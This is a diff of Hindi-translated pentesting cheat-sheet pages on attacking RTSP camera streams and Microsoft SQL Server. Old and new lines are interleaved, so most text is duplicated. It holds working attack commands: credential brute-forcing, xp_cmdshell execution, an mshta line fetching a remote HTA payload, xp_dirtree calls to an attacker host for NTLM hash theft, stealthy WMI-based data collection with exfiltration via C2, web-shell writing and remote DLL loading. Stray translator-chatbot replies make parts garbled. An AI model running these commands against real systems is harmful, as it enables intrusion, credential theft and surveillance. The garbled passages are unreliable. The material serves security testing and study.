याद रखें, सही प्रारूप में एक निरंतर प्रतिक्रिया के लिए एक डबल "\r\n" शामिल होता है। "200 OK" प्रतिक्रिया **अनधिकृत पहुँच** को इंगित करती है, जबकि "401 Unauthorized" प्रमाणीकरण की आवश्यकता का संकेत देती है, यह प्रकट करती है कि **Basic** या **Digest authentication** की आवश्यकता है।
ध्यान रखें, सही फ़ॉर्मैटिंग के लिए एक consistent response में डबल "\r\n" होना चाहिए। एक "200 OK" response बताता है कि **unauthenticated access** है, जबकि "401 Unauthorized" ऑथेंटिकेशन की आवश्यकता को संकेत करता है, और बताता है कि **Basic** या **Digest authentication** आवश्यक है।
**Basic authentication** के लिए, आप उपयोगकर्ता नाम और पासवर्ड को base64 में एन्कोड करते हैं और इसे अनुरोध में इस तरह शामिल करते हैं:
यदि **Basic authentication** प्रयोग हो रहा है, तो आप username और password को base64 में encode कर request में इस तरह शामिल करते हैं:
`DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==`
यह उदाहरण "admin" और "1234" को क्रेडेंशियल के रूप में उपयोग करता है। यहाँ एक **Python script** है जो ऐसा अनुरोध भेजने के लिए है:
यह उदाहरण credentials के लिए "admin" और "1234" का उपयोग करता है। ऐसा अनुरोध भेजने के लिए यहाँ एक **Python script** है:
```python
import socket
req = "DESCRIBE rtsp://<ip>:<port> RTSP/1.0\r\nCSeq: 2\r\nAuthorization: Basic YWRtaW46MTIzNA==\r\n\r\n"
@ -41,42 +41,48 @@ s.sendall(req)
data = s.recv(1024)
print(data)
```
**बुनियादी प्रमाणीकरण** सरल और पसंदीदा है। **डाइजेस्ट प्रमाणीकरण** "401 Unauthorized" प्रतिक्रिया में प्रदान किए गए प्रमाणीकरण विवरणों को सावधानीपूर्वक संभालने की आवश्यकता होती है।
**Basic authentication** सरल और अधिक उपयुक्त है। **Digest authentication** के लिए "401 Unauthorized" response में दिए गए authentication विवरणों को सावधानी से संभालना आवश्यक है।
यह अवलोकन RTSP स्ट्रीम तक पहुँचने की प्रक्रिया को सरल बनाता है, इसकी सरलता और प्रारंभिक प्रयासों में व्यावहारिकता के लिए **बुनियादी प्रमाणीकरण** पर ध्यान केंद्रित करता है।
यह ओवरव्यू RTSP streams तक पहुँचने की प्रक्रिया को सरल बनाता है, और शुरुआती प्रयासों में सरलता और व्यवहारिकता के कारण **Basic authentication** पर केंद्रित है।
## Enumeration
## सूचीकरण
चलो मान्य तरीकों और URLs के बारे में जानकारी प्राप्त करें जो समर्थित हैं और सामग्री तक पहुँच प्राप्त करने के लिए (यदि आवश्यक हो) ब्रूट-फोर्स करने का प्रयास करें।
चलो पता करें कि कौन से valid methods और URLs supported हैं और यदि आवश्यक हो तो content तक पहुँचने के लिए brute-force करके access प्राप्त करने का प्रयास करें।
```bash
nmap -sV --script "rtsp-*" -p <PORT> <IP>
```
#### RTSP स्ट्रीम को [ffplay](https://ffmpeg.org/ffplay.html) के साथ देखना
एक बार जब आप एक मान्य RTSP पथ (जैसे, `/mpeg4`, `/live.sdp`) का पता लगा लेते हैं और पहुंच की पुष्टि कर लेते हैं (बिना प्रमाणीकरण या क्रेडेंशियल्स के साथ), तो आप फ़ीड स्ट्रीम करने के लिए `ffplay` का उपयोग कर सकते हैं:
#### [ffplay](https://ffmpeg.org/ffplay.html) के साथ RTSP स्ट्रीम देखना
एक बार जब आपने एक मान्य RTSP पाथ (उदा., `/mpeg4`, `/live.sdp`) खोज लिया और एक्सेस की पुष्टि कर ली हो (unauthenticated या credentials के साथ), तो आप फ़ीड स्ट्रीम करने के लिए `ffplay` का उपयोग कर सकते हैं:
```bash
ffplay -rtsp_transport tcp rtsp://<IP>/mpeg4 -x 2560 -y 1440
```
- `-rtsp_transport tcp`: अधिक विश्वसनीय स्ट्रीमिंग के लिए UDP क बजाय TCP का उपयोग करें
- `-x`, `-y`: वीडियो रिज़ॉल्यूशन को नियंत्रित करने के लिए वैकल्पिक ध्वज
- आवश्यकतानुसार `<IP>` और पथ को बदलें
- `-rtsp_transport tcp`: अधिक विश्वसनीय स्ट्रीमिंग के लिए UDP क बजाय TCP का उपयोग करें
- `-x`, `-y`: वीडियो रेज़ॉल्यूशन नियंत्रित करने के लिए वैकल्पिक flags
- Replace `<IP>` and path as needed
### [Brute Force](../generic-hacking/brute-force.md#rtsp)
### **अन्य उपयोगी कार्यक्रम**
### **अन्य उपयोगी प्रोग्राम**
ब्रूटफोर्स करने के लिए: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
To bruteforce: [https://github.com/Tek-Security-Group/rtsp_authgrinder](https://github.com/Tek-Security-Group/rtsp_authgrinder)
[**Cameradar**](https://github.com/Ullaakut/cameradar)
- किसी भी सुलभ लक्ष्य पर खुले RTSP होस्ट का पता लगाएं
- उनकी सार्वजनिक जानकारी प्राप्त करें (होस्टनाम, पोर्ट, कैमरा मॉडल, आदि)
- उनके स्ट्रीम रूट (उदाहरण के लिए /live.sdp) प्राप्त करने के लिए स्वचालित शब्दकोश हमले शुरू करें
- कैमरों के उपयोगकर्ता नाम और पासवर्ड प्राप्त करने के लिए स्वचालित शब्दकोश हमले शुरू करें
- यह जांचने के लिए कि स्ट्रीम मान्य हैं और उनके सामग्री का त्वरित पूर्वावलोकन प्राप्त करने के लिए उनसे थंबनेल उत्पन्न करे
- यह जांचने के लिए Gstreamer पाइपलाइन बनाने का प्रयास करें कि क्या वे सही ढंग से एन्कोडेड हैं
- Cameradar द्वारा प्राप्त सभी सूचनाओं का सारांश प्रिंट करें
- किसी भी पहुँच योग्य लक्ष्य पर खुले RTSP hosts का पता लगाएं
- इनकी सार्वजनिक जानकारी प्राप्त करें (hostname, port, camera model, आदि)
- उनके stream route (उदाहरण के लिए /live.sdp) प्राप्त करने के लिए स्वचालित dictionary attacks लॉन्च करें
- कैमरों का username और password प्राप्त करने के लिए स्वचालित dictionary attacks लॉन्च करें
- स्ट्रीम्स वैध हैं या नहीं जाँचने और उनकी सामग्री का त्वरित पूर्वावलोकन पाने के लिए उनसे thumbnails बनाए
- जांचने के लिए कि क्या वे सही तरीके से encoded हैं, Gstreamer pipeline बनाने का प्रयास करें
- Cameradar जो भी जानकारी प्राप्त कर सकता है उसका सारांश प्रिंट करें
## References
### देखें
{{#ref}}
32100-udp-pentesting-pppp-cs2-p2p-cameras.md
{{#endref}}
## संदर्भ
- [https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol](https://en.wikipedia.org/wiki/Real_Time_Streaming_Protocol)
- [http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/](http://badguyfu.net/rtsp-brute-forcing-for-fun-and-naked-pictures/)

View File

@ -2,37 +2,37 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## बुनियादी जानकारी
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
स्रोत: [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** एक **रिलेशनल डेटाबेस** प्रबंधन प्रणाली है जिसे Microsoft द्वारा विकसित किया गया है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका मुख्य कार्य डेटा को संग्रहीत करना और पुनः प्राप्त करना है जैसा कि अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किया गया है—जो या तो उसी कंप्यूटर पर चल सकते हैं या नेटवर्क (जिसमें इंटरनेट शामिल है) पर किसी अन्य कंप्यूटर पर।
> **Microsoft SQL Server** Microsoft द्वारा विकसित एक **रिलेशनल डेटाबेस** प्रबंधन प्रणाली है। एक डेटाबेस सर्वर के रूप में, यह एक सॉफ़्टवेयर उत्पाद है जिसका मुख्य कार्य डेटा को संग्रहीत और पुनःप्राप्त करना है, जैसा कि अन्य सॉफ़्टवेयर अनुप्रयोगों द्वारा अनुरोध किया जाता है — जो या तो उसी कंप्यूटर पर चल सकती हैं या नेटवर्क (जिसमें इंटरनेट शामिल है) के माध्यम से किसी अन्य कंप्यूटर पर चल सकती हैं
**Default port:** 1433
**डिफ़ॉल्ट पोर्ट:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **डिफ़ॉल्ट MS-SQL सिस्टम टेबल्स**
- **master Database**: यह डेटाबेस महत्वपूर्ण है क्योंकि यह SQL Server उदाहरण के लिए सभी सिस्टम-स्तरीय विवरण कैप्चर करता है।
- **msdb Database**: SQL Server एजेंट इस डेटाबेस का उपयोग अलर्ट और नौकरियों के लिए शेड्यूलिंग प्रबंधित करने के लिए करता है।
- **model Database**: SQL Server उदाहरण पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहाँ आकार, कोलेशन, रिकवरी मॉडल, और अधिक जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में दर्शाया जाता है।
- **Resource Database**: एक केवल-पढ़ने वाला डेटाबेस है जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स, जबकि भौतिक रूप से Resource डेटाबेस में संग्रहीत होते हैं, हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत होते हैं।
- **tempdb Database**: अस्थायी ऑब्जेक्ट्स या मध्यवर्ती परिणाम सेट के लिए एक अस्थायी संग्रहण क्षेत्र के रूप में कार्य करता है।
- **master Database**: यह डेटाबेस महत्वपूर्ण है क्योंकि यह किसी SQL Server instance के सभी सिस्टम-स्तरीय विवरणों को समाहित करता है।
- **msdb Database**: SQL Server Agent इस डेटाबेस का उपयोग alerts और jobs के शेड्यूलिंग को प्रबंधित करने के लिए करता है।
- **model Database**: यह SQL Server instance पर हर नए डेटाबेस के लिए एक ब्लूप्रिंट के रूप में कार्य करता है, जहाँ size, collation, recovery model जैसे किसी भी परिवर्तन को नए बनाए गए डेटाबेस में प्रतिबिंबित किया जाता है।
- **Resource Database**: एक read-only डेटाबेस जो SQL Server के साथ आने वाले सिस्टम ऑब्जेक्ट्स को रखता है। ये ऑब्जेक्ट्स भौतिक रूप से Resource database में संग्रहीत होते हैं, पर हर डेटाबेस के sys स्कीमा में तार्किक रूप से प्रस्तुत किए जाते हैं।
- **tempdb Database**: अस्थायी ऑब्जेक्ट्स या मध्यवर्ती परिणाम सेट्स के लिए अस्थायी संग्रहण क्षेत्र के रूप में कार्य करता है।
## Enumeration
## सूचीकरण
### Automatic Enumeration
### स्वचालित सूचीकरण
यदि आप सेवा के बारे में कुछ नहीं जानते हैं:
यदि आपको सेवा के बारे में कुछ भी पता नहीं है:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!TIP]
> यदि आपके पास **प्रमाण पत्र** **नहीं हैं** तो आप उन्हें अनुमान लगाने की कोशिश कर सकते हैं। आप nmap या metasploit का उपयोग कर सकते हैं। सावधान रहें, यदि आप एक मौजूदा उपयोगकर्ता नाम का उपयोग करके कई बार लॉगिन करने में असफल होते हैं तो आप **खातों को ब्लॉक** कर सकते हैं।
> यदि आपके पास **credentials** नहीं हैं तो आप उन्हें अनुमान लगाने की कोशिश कर सकते हैं। आप nmap या metasploit का उपयोग कर सकते हैं। सावधान रहें, यदि आप किसी मौजूदा **username** का उपयोग करके कई बार **login** में असफल होते हैं तो आप **block accounts** कर सकते हैं।
#### Metasploit (creds की आवश्यकता है)
#### Metasploit (need creds)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@ -64,11 +64,11 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```
### [**ब्रूट फोर्स**](../../generic-hacking/brute-force.md#sql-server)
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
### मैनुअल एन्यूमरेशन
### मैन्युअल एन्यूमरेशन
#### लॉगिन
#### Login
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1;
2> go
```
#### सामान्य सूचीकरण
#### सामान्य Enumeration
```sql
# Get version
select @@version;
@ -156,14 +156,14 @@ SELECT * FROM sysusers
```
#### अनुमतियाँ प्राप्त करें
1. **Securable:** SQL Server द्वारा पहुँच नियंत्रण के लिए प्रबंधित संसाधनों के रूप में परिभाषित। इन्हें निम्नलिखित श्रेणियों में वर्गीकृत किया गया है:
- **सर्वर** उदाहरणों में डेटाबेस, लॉगिन, एंडपॉइंट, उपलब्धता समूह, और सर्वर भूमिकाएँ शामिल हैं
- **डेटाबेस** उदाहरणों में डेटाबेस भूमिका, अनुप्रयोग भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं।
- **स्कीमा** इसमें तालिकाएँ, दृश्य, प्रक्रियाएँ, कार्य, पर्यायवाची आदि शामिल हैं।
2. **अनुमति:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसी अनुमतियाँ एक प्रमुख को दी जा सकती हैं। अनुमतियों का प्रबंधन दो स्तरों पर होता है:
- **सर्वर स्तर** लॉगिन का उपयोग करक
- **डेटाबेस स्तर** उपयोगकर्ताओं का उपयोग करक
3. **प्रमुख:** यह शब्द उस इकाई को संदर्भित करता है जिसे एक securable पर अनुमति दी जाती है। प्रमुख मुख्य रूप से लॉगिन और डेटाबेस उपयोगकर्ताओं को शामिल करते हैं। Securables तक पहुँच पर नियंत्रण अनुमतियों को देने या अस्वीकार करने या लॉगिन और उपयोगकर्ताओं को पहुँच अधिकारों से सुसज्जित भूमिकाओं में शामिल करके किया जाता है।
1. **Securable:** access control के लिए SQL Server द्वारा प्रबंधित संसाधनों के रूप में परिभाषित। इन्हें श्रेणियों में बांटा गया है:
- **Server** उदाहरणों में शामिल हैं databases, logins, endpoints, availability groups, और server roles
- **Database** उदाहरणों में database role, application roles, schema, certificates, full text catalogs, और users शामिल हैं।
- **Schema** इसमें tables, views, procedures, functions, synonyms, आदि शामिल हैं।
2. **Permission:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसे permissions किसी principal को दिए जा सकते हैं। Permissions का प्रबंधन दो स्तरों पर होता है:
- **Server Level** — logins के उपयोग स
- **Database Level** — users के उपयोग स
3. **Principal:** यह शब्द उस entity को दर्शाता है जिसे किसी securable के लिए permission दिया गया हो। Principals में मुख्यतः logins और database users शामिल होते हैं। Securables तक पहुँच पर नियंत्रण permissions देने या अस्वीकार करने के माध्यम से या logins और users को access rights वाले roles में शामिल करके ejercised किया जाता है।
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -183,12 +183,12 @@ SELECT IS_SRVROLEMEMBER('sysadmin');
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## Tricks
## ट्रिक्स
### OS कमांड्स चलाना
### OS कमांड्स निष्पदित करें
> [!CAUTION]
> ध्यान दें कि कमांड्स चलाने के लिए केवल **`xp_cmdshell`** **सक्रिय** होना ही आवश्यक नहीं है, बल्कि **`xp_cmdshell` स्टोर की गई प्रक्रिया पर EXECUTE अनुमति भी होनी चाहिए**। आप यह जान सकते हैं कि कौन (sysadmins को छोड़कर) **`xp_cmdshell`** का उपयोग कर सकता है:
> ध्यान दें कि कमांड्स निष्पादित करने के लिए केवल **`xp_cmdshell`** **enabled** होना ही पर्याप्त नहीं है, बल्कि **EXECUTE permission on the `xp_cmdshell` stored procedure** भी होना चाहिए। आप यह जान सकते हैं कि कौन (sysadmins को छोड़कर) **`xp_cmdshell`** का उपयोग कर सकता है:
>
> ```sql
> Use master
@ -235,13 +235,43 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### हैश किए गए पासवर्ड प्राप्त करें
### WMI-based रिमोट SQL कलेक्शन (sqlcmd + CSV export)
ऑपरेटर IIS/app tier से SQL Servers तक WMI का उपयोग करके एक छोटा बैच चला कर pivot कर सकते हैं जो MSSQL में authenticate होकर adhoc queries चलाता है और परिणामों को CSV में export करता है। यह कलेक्शन को सरल रखता है और admin activity के साथ घुलमिल जाता है।
उदाहरण mssq.bat
```bat
@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
```
WMI के माध्यम से इसे दूरस्थ रूप से Invoke करें
```cmd
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
```
PowerShell विकल्प
```powershell
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
```
नोट्स
- sqlcmd मौजूद न हो सकता है; osql, PowerShell Invoke-Sqlcmd पर लौटें, या System.Data.SqlClient का उपयोग करने वाला एक oneliner चलाएँ।
- उद्धरणों का सावधानीपूर्वक उपयोग करें; लंबे/जटिल क्वेरीज़ फ़ाइल के माध्यम से या Base64encoded आर्गुमेंट के रूप में देना आसान होता है, जिसे batch/PowerShell stub के अंदर decoded किया जाता है।
- Exfil the CSV via SMB (e.g., copy from \\SQLHOST\C$\Windows\Temp) or compress and move through your C2.
### हैश किए हुए पासवर्ड प्राप्त करें
```bash
SELECT * FROM master.sys.syslogins;
```
### NetNTLM हैश चुराना / रिले हमला
### NetNTLM hash चुराएं / Relay attack
आपको प्रमाणीकरण में उपयोग किए जाने वाले हैश को कैप्चर करने के लिए एक **SMB सर्वर** शुरू करना चाहिए (`impacket-smbserver` या `responder` उदाहरण के लिए)।
आपको authentication में उपयोग हुए hash को capture करने के लिए एक **SMB server** शुरू करना चाहिए (`impacket-smbserver` या `responder` उदाहरण के लिए)।
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -265,7 +295,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
> [!WARNING]
> आप यह जांच सकते हैं कि कौन (sysadmins के अलावा) उन MSSQL कार्यों को चलाने के लिए अनुमतियाँ रखता है:
> आप यह जाँच सकते हैं कि कौन (apart sysadmins) इन MSSQL फ़ंक्शनों को चलाने की permissions रखता है:
>
> ```sql
> Use master;
@ -274,26 +304,24 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> EXEC sp_helprotect 'xp_fileexist';
> ```
**responder** या **Inveigh** जैसे उपकरणों का उपयोग करके **NetNTLM हैश** को **चुराना** संभव है।\
आप इन उपकरणों का उपयोग कैसे करें, यह देख सकते हैं:
Using tools such as **responder** or **Inveigh** it's possible to **steal the NetNTLM hash**.\
आप इन tools का उपयोग कैसे करें देख सकते हैं:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
{{#endref}}
### MSSQL ट्रस्टेड लिंक का दुरुपयोग
[**इस पोस्ट को पढ़ें**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **इस सुविधा का दुरुपयोग करने के बारे में अधिक जानकारी के लिए:**
### MSSQL trusted Links का दुरुपयोग
[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **इस फीचर के दुरुपयोग के बारे में अधिक जानकारी के लिए पढ़ें:**
{{#ref}}
../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md
{{#endref}}
### **फाइलें लिखें**
### **फ़ाइलें लिखना**
`MSSQL` का उपयोग करके फाइलें लिखने के लिए, हमें [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) को **सक्षम** करना होगा, जिसके लिए प्रशासनिक विशेषाधिकार की आवश्यकता होती है, और फिर फाइल बनाने के लिए कुछ स्टोर की गई प्रक्रियाएँ निष्पादित करनी होती हैं:
`MSSQL` का उपयोग करके फाइलें लिखने के लिए, हमें [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option) को **सक्षम करना होगा**, जिसे admin privileges की आवश्यकता होती है, और फिर फाइल बनाने के लिए कुछ stored procedures को execute करना होगा:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
@ -311,30 +339,30 @@ EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **फाइल पढ़ें** OPENROWSET के साथ
### **OPENROWSET के साथ फ़ाइल पढ़ें**
डिफ़ॉल्ट रूप से, `MSSQL` फाइल **कोई भी फाइल पढ़ने की अनुमति देता है जिसमें खाते को पढ़ने की पहुंच है**। हम निम्नलिखित SQL क्वेरी का उपयोग कर सकते हैं:
डिफ़ॉल्ट रूप से, `MSSQL` उस ऑपरेटिंग सिस्टम की किसी भी फ़ाइल को पढ़ने की अनुमति देता है जिस पर उस खाते के पास पढ़ने की पहुँच है। हम निम्न SQL query का उपयोग कर सकते हैं:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
हालाकि, **`BULK`** विकल्प के लिए **`ADMINISTER BULK OPERATIONS`** या **`ADMINISTER DATABASE BULK OPERATIONS`** अनुमति की आवश्यकता होती है।
हालाकि, **`BULK`** विकल्प के लिए **`ADMINISTER BULK OPERATIONS`** या **`ADMINISTER DATABASE BULK OPERATIONS`** अनुमति की आवश्यकता होती है।
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### SQLi के लिए त्रुटि-आधारित वेक्टर:
#### SQLi के लिए Error-based वेक्टर:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/फाइलें पढ़ना स्क्रिप्ट्स चलाना (Python और R)**
### **RCE/Read files executing scripts (Python and R)**
MSSQL आपको **Python और/या R** में **स्क्रिप्ट्स** चलाने की अनुमति दे सकता है। ये कोड **xp_cmdshell** का उपयोग करके कमांड चलाने वाले **विभिन्न उपयोगकर्ता** द्वारा चलाए जाएंगे
MSSQL आपको **Python और/या R स्क्रिप्ट्स** चलाने की अनुमति दे सकता है। ये कोड उस उपयोगकर्ता द्वारा निष्पादित होंगे जो **xp_cmdshell** का उपयोग करके कमांड चलाने वाले उपयोगकर्ता से **भिन्न** होगा
**'R'** _"Hellow World!"_ **को चलाने का उदाहरण** _काम नहीं कर रहा_:
उदाहरण: **'R'** _"Hellow World!"_ चलाने का प्रयास — **काम नहीं कर रहा**:
![](<../../images/image (393).png>)
ई क्रियाएँ करने के लिए कॉन्फ़िगर की गई पायथन का उपयोग करने का उदाहरण:
न्फ़िगर किए गए python का उपयोग करके कई कार्य करने का उदाहरण:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
@ -348,11 +376,11 @@ print(sys.version)
'
GO
```
### रजिस्ट्र्री पढ़ें
### रजिस्ट्री पढ़ें
Microsoft SQL Server **कई विस्तारित स्टोर प्रक्रियाएँ** प्रदान करता है जो आपको न केवल नेटवर्क के साथ बल्कि फ़ाइल सिस्टम और यहां तक कि [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** के साथ इंटरैक्ट करने की अनुमति देती हैं:**
Microsoft SQL Server कई **extended stored procedures** प्रदान करता है जो आपको केवल नेटवर्क ही नहीं बल्कि फ़ाइल सिस्टम और यहाँ तक कि [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) के साथ भी इंटरैक्ट करने की अनुमति देते हैं:
| **नियमित** | **इंस्टेंस-जानकारी** |
| **सामान्य** | **इंस्टेंस-जागरूक** |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
@ -373,21 +401,21 @@ Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
For **अधिक उदाहरणों** के लिए [**मूल स्रोत**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) पर जाएं।
अधिक उदाहरणों के लिए [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) देखें।
### RCE with MSSQL User Defined Function - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
यह **कस्टम फ़ंक्शंस के साथ MSSQL में एक .NET dll लोड करना संभव है**। हालांकि, इसके लिए **`dbo` एक्सेस की आवश्यकता है** इसलिए आपको **`sa` या एक Administrator भूमिका** के रूप में डेटाबेस से कनेक्शन की आवश्यकता है
यह संभव है कि **load a .NET dll within MSSQL with custom functions**। हालांकि, इसके लिए **requires `dbo` access** चाहिए, इसलिए आपको डेटाबेस से **as `sa` or an Administrator role`** के रूप में कनेक्ट होना होगा
[**इस लिंक का पालन करें**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) एक उदाहरण देखने के लिए।
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) उदाहरण देखने के लिए।
### RCE with `autoadmin_task_agents`
[ **इस पोस्ट के अनुसार**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp), एक रिमोट dll लोड करना और MSSQL को इसे कुछ इस तरह से निष्पादित करना भी संभव है:
[**to this post**](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp) के अनुसार, यह भी संभव है कि एक remote dll लोड करके MSSQL को इसे execute कराया जा सके, कुछ इस तरह:
```sql
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
```
I'm sorry, but it seems that you haven't provided any content to translate. Please provide the text you would like me to translate to Hindi.
I don't see the README.md contents. कृपया वह फ़ाइल की सामग्री यहाँ पेस्ट करें जिसे आप हिंदी में अनुवादित करवाना चाहते हैं।
```csharp
using Microsoft.SqlServer.SmartAdmin;
using System;
@ -437,15 +465,15 @@ public void Test()
}
}
```
### RCE के लिए अन्य तरीके
### RCE के अन्य तरीके
कमांड निष्पादन प्राप्त करने के अन्य तरीके हैं, जैसे कि [विस्तारित संग्रहीत प्रक्रियाएँ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR असेंबली](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL सर्वर एजेंट जॉब्स](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), और [बाहरी स्क्रिप्ट](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
कमांड निष्पादन प्राप्त करने के अन्य तरीके भी हैं, जैसे कि [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), और [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)
## MSSQL विशेषाधिकार वृद्धि
## MSSQL Privilege Escalation
### db_owner से sysadmin तक
यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** की भूमिका **एक प्रशासक** उपयोगकर्ता (जैसे **`sa`**) द्वारा स्वामित्व वाले **डेटाबेस** पर दी जाती है और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाई गई **संग्रहीत प्रक्रियाएँ** मालिक (**admin**) के रूप में **निष्पादित** कर सकती हैं।
